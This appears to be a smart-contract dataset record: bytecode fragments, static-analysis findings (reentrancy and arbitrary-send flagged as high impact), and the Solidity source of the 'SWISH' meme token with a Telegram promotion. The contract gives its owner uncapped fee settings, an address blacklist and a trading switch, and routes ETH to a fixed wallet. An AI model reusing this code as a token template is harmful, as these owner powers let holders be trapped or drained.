fffffffffffffffffffffffff1614806117da5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117c261127c565b73ffffffffffffffffffffffffffffffffffffffff16145b611819576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181090613319565b60405180910390fd5b5b5b600f5481111561182a57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118ce5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118d757600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119825750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119d85750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119f05750600e60179054906101000a900460ff165b15611a915742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a4057600080fd5b603c42611a4d9190613339565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a9c30610783565b9050600e60159054906101000a900460ff16158015611b095750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b215750600e60169054906101000a900460ff165b15611b4957611b2f81611d4c565b60004790506000811115611b4757611b4647611c72565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bf25750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bfc57600090505b611c0884848484612099565b50505050565b6000838311158290611c56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4d9190612782565b60405180910390fd5b5060008385611c65919061338f565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cda573d6000803e3d6000fd5b5050565b6000600654821115611d25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1c90613435565b60405180910390fd5b6000611d2f6120c6565b9050611d44818461204f90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d8457611d83612a2b565b5b604051908082528060200260200182016040528015611db25781602001602082028036833780820191505090505b5090503081600081518110611dca57611dc9612c90565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e6c57600080fd5b505afa158015611e80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea49190612db8565b81600181518110611eb857611eb7612c90565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f1f30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611284565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f83959493929190613513565b600060405180830381600087803b158015611f9d57600080fd5b505af1158015611fb1573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b600080831415611fe75760009050612049565b60008284611ff5919061356d565b905082848261200491906135f6565b14612044576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203b90613699565b60405180910390fd5b809150505b92915050565b600061209183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120f1565b905092915050565b806120a7576120a6612154565b5b6120b2848484612185565b806120c0576120bf612350565b5b50505050565b60008060006120d3612362565b915091506120ea818361204f90919063ffffffff16565b9250505090565b60008083118290612138576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212f9190612782565b60405180910390fd5b506000838561214791906135f6565b9050809150509392505050565b600060085414801561216857506000600954145b1561217257612183565b600060088190555060006009819055505b565b600080600080600080612197876123c4565b9550955095509550955095506121f586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242b90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061228a85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122d6816124d3565b6122e08483612590565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161233d91906128d1565b60405180910390a3505050505050505050565b60036008819055506003600981905550565b600080600060065490506000683635c9adc5dea000009050612398683635c9adc5dea0000060065461204f90919063ffffffff16565b8210156123b757600654683635c9adc5dea000009350935050506123c0565b81819350935050505b9091565b60008060008060008060008060006123e08a60085460066125ca565b92509250925060006123f06120c6565b905060008060006124038e878787612660565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061246d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c0e565b905092915050565b60008082846124849190613339565b9050838110156124c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124c090613705565b60405180910390fd5b8091505092915050565b60006124dd6120c6565b905060006124f48284611fd490919063ffffffff16565b905061254881600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247590919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125a58260065461242b90919063ffffffff16565b6006819055506125c08160075461247590919063ffffffff16565b6007819055505050565b6000806000806125f660646125e8888a611fd490919063ffffffff16565b61204f90919063ffffffff16565b905060006126206064612612888b611fd490919063ffffffff16565b61204f90919063ffffffff16565b905060006126498261263b858c61242b90919063ffffffff16565b61242b90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126798589611fd490919063ffffffff16565b905060006126908689611fd490919063ffffffff16565b905060006126a78789611fd490919063ffffffff16565b905060006126d0826126c2858761242b90919063ffffffff16565b61242b90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612723578082015181840152602081019050612708565b83811115612732576000848401525b50505050565b6000601f19601f8301169050919050565b6000612754826126e9565b61275e81856126f4565b935061276e818560208601612705565b61277781612738565b840191505092915050565b6000602082019050818103600083015261279c8184612749565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006127e3826127b8565b9050919050565b6127f3816127d8565b81146127fe57600080fd5b50565b600081359050612810816127ea565b92915050565b6000819050919050565b61282981612816565b811461283457600080fd5b50565b60008135905061284681612820565b92915050565b60008060408385031215612863576128626127ae565b5b600061287185828601612801565b925050602061288285828601612837565b9150509250929050565b60008115159050919050565b6128a18161288c565b82525050565b60006020820190506128bc6000830184612898565b92915050565b6128cb81612816565b82525050565b60006020820190506128e660008301846128c2565b92915050565b600080600060608486031215612905576129046127ae565b5b600061291386828701612801565b935050602061292486828701612801565b925050604061293586828701612837565b9150509250925092565b600060208284031215612955576129546127ae565b5b600061296384828501612801565b91505092915050565b600060ff82169050919050565b6129828161296c565b82525050565b600060208201905061299d6000830184612979565b92915050565b6129ac8161288c565b81146129b757600080fd5b50565b6000813590506129c9816129a3565b92915050565b6000602082840312156129e5576129e46127ae565b5b60006129f3848285016129ba565b91505092915050565b612a05816127d8565b82525050565b6000602082019050612a2060008301846129fc565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612a6382612738565b810181811067ffffffffffffffff82111715612a8257612a81612a2b565b5b80604052505050565b6000612a956127a4565b9050612aa18282612a5a565b919050565b600067ffffffffffffffff821115612ac157612ac0612a2b565b5b602082029050602081019050919050565b600080fd5b6000612aea612ae584612aa6565b612a8b565b90508083825260208201905060208402830185811115612b0d57612b0c612ad2565b5b835b81811015612b365780612b228882612801565b845260208401935050602081019050612b0f565b5050509392505050565b600082601f830112612b5557612b54612a26565b5b8135612b65848260208601612ad7565b91505092915050565b600060208284031215612b8457612b836127ae565b5b600082013567ffffffffffffffff811115612ba257612ba16127b3565b5b612bae84828501612b40565b91505092915050565b600060208284031215612bcd57612bcc6127ae565b5b6000612bdb84828501612837565b91505092915050565b60008060408385031215612bfb57612bfa6127ae565b5b6000612c0985828601612801565b9250506020612c1a85828601612801565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612c5a6020836126f4565b9150612c6582612c24565b602082019050919050565b60006020820190508181036000830152612c8981612c4d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612cf982612816565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612d2c57612d2b612cbf565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612d6d6017836126f4565b9150612d7882612d37565b602082019050919050565b60006020820190508181036000830152612d9c81612d60565b9050919050565b600081519050612db2816127ea565b92915050565b600060208284031215612dce57612dcd6127ae565b5b6000612ddc84828501612da3565b91505092915050565b6000604082019050612dfa60008301856129fc565b612e0760208301846129fc565b9392505050565b6000819050919050565b6000819050919050565b6000612e3d612e38612e3384612e0e565b612e18565b612816565b9050919050565b612e4d81612e22565b82525050565b600060c082019050612e6860008301896129fc565b612e7560208301886128c2565b612e826040830187612e44565b612e8f6060830186612e44565b612e9c60808301856129fc565b612ea960a08301846128c2565b979650505050505050565b600081519050612ec381612820565b92915050565b600080600060608486031215612ee257612ee16127ae565b5b6000612ef086828701612eb4565b9350506020612f0186828701612eb4565b9250506040612f1286828701612eb4565b9150509250925092565b6000604082019050612f3160008301856129fc565b612f3e60208301846128c2565b9392505050565b600081519050612f54816129a3565b92915050565b600060208284031215612f7057612f6f6127ae565b5b6000612f7e84828501612f45565b91505092915050565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b6000612fbd601d836126f4565b9150612fc882612f87565b602082019050919050565b60006020820190508181036000830152612fec81612fb0565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061304f6024836126f4565b915061305a82612ff3565b604082019050919050565b6000602082019050818103600083015261307e81613042565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006130e16022836126f4565b91506130ec82613085565b604082019050919050565b60006020820190508181036000830152613110816130d4565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006131736025836126f4565b915061317e82613117565b604082019050919050565b600060208201905081810360008301526131a281613166565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006132056023836126f4565b9150613210826131a9565b604082019050919050565b60006020820190508181036000830152613234816131f8565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006132976029836126f4565b91506132a28261323b565b604082019050919050565b600060208201905081810360008301526132c68161328a565b9050919050565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b60006133036011836126f4565b915061330e826132cd565b602082019050919050565b60006020820190508181036000830152613332816132f6565b9050919050565b600061334482612816565b915061334f83612816565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561338457613383612cbf565b5b828201905092915050565b600061339a82612816565b91506133a583612816565b9250828210156133b8576133b7612cbf565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b600061341f602a836126f4565b915061342a826133c3565b604082019050919050565b6000602082019050818103600083015261344e81613412565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61348a816127d8565b82525050565b600061349c8383613481565b60208301905092915050565b6000602082019050919050565b60006134c082613455565b6134ca8185613460565b93506134d583613471565b8060005b838110156135065781516134ed8882613490565b97506134f8836134a8565b9250506001810190506134d9565b5085935050505092915050565b600060a08201905061352860008301886128c2565b6135356020830187612e44565b818103604083015261354781866134b5565b905061355660608301856129fc565b61356360808301846128c2565b9695505050505050565b600061357882612816565b915061358383612816565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156135bc576135bb612cbf565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061360182612816565b915061360c83612816565b92508261361c5761361b6135c7565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006136836021836126f4565b915061368e82613627565b604082019050919050565b600060208201905081810360008301526136b281613676565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006136ef601b836126f4565b91506136fa826136b9565b602082019050919050565b6000602082019050818103600083015261371e816136e2565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122014d898ef5e8e3730346d4d5c057f181e1c02c94c1c6e3df04e51b55a4cb777ea64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,055 |
0xd87ee2cd7cd54ee8e5f0d73387215aaac17ec198
|
/**
No. 8 North Carolina Tar Heels vs. No. 1 Kansas Jayhawks
Join the TG to talk about the game and live-trade with fellow degens.
0 tax buys, 3% sales
https://t.me/SWISH_token
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SWISH is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "SWISH";
string private constant _symbol = "SWISH";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 0;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 0;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xB4D737937a68eCfa9cd8Dc01C27885338f0eDD79);
address payable private _marketingAddress = payable(0xB4D737937a68eCfa9cd8Dc01C27885338f0eDD79);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000 * 10**9;
uint256 public _maxWalletSize = 25000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461065c578063dd62ed3e14610685578063ea1644d5146106c2578063f2fde38b146106eb576101d7565b8063a2a957bb146105a2578063a9059cbb146105cb578063bfd7928414610608578063c3c8cd8014610645576101d7565b80638f70ccf7116100d15780638f70ccf7146104fa5780638f9a55c01461052357806395d89b411461054e57806398a5c31514610579576101d7565b80637d1db4a5146104675780637f2feddc146104925780638da5cb5b146104cf576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190612d51565b610714565b005b34801561021157600080fd5b5061021a61083e565b6040516102279190612e22565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612e7a565b61087b565b6040516102649190612ed5565b60405180910390f35b34801561027957600080fd5b50610282610899565b60405161028f9190612f4f565b60405180910390f35b3480156102a457600080fd5b506102ad6108bf565b6040516102ba9190612f79565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612f94565b6108cf565b6040516102f79190612ed5565b60405180910390f35b34801561030c57600080fd5b506103156109a8565b6040516103229190612f79565b60405180910390f35b34801561033757600080fd5b506103406109ae565b60405161034d9190613003565b60405180910390f35b34801561036257600080fd5b5061036b6109b7565b604051610378919061302d565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190613048565b6109dd565b005b3480156103b657600080fd5b506103d160048036038101906103cc91906130a1565b610acd565b005b3480156103df57600080fd5b506103e8610b7f565b005b3480156103f657600080fd5b50610411600480360381019061040c9190613048565b610c50565b60405161041e9190612f79565b60405180910390f35b34801561043357600080fd5b5061043c610ca1565b005b34801561044a57600080fd5b50610465600480360381019061046091906130ce565b610df4565b005b34801561047357600080fd5b5061047c610e93565b6040516104899190612f79565b60405180910390f35b34801561049e57600080fd5b506104b960048036038101906104b49190613048565b610e99565b6040516104c69190612f79565b60405180910390f35b3480156104db57600080fd5b506104e4610eb1565b6040516104f1919061302d565b60405180910390f35b34801561050657600080fd5b50610521600480360381019061051c91906130a1565b610eda565b005b34801561052f57600080fd5b50610538610f8c565b6040516105459190612f79565b60405180910390f35b34801561055a57600080fd5b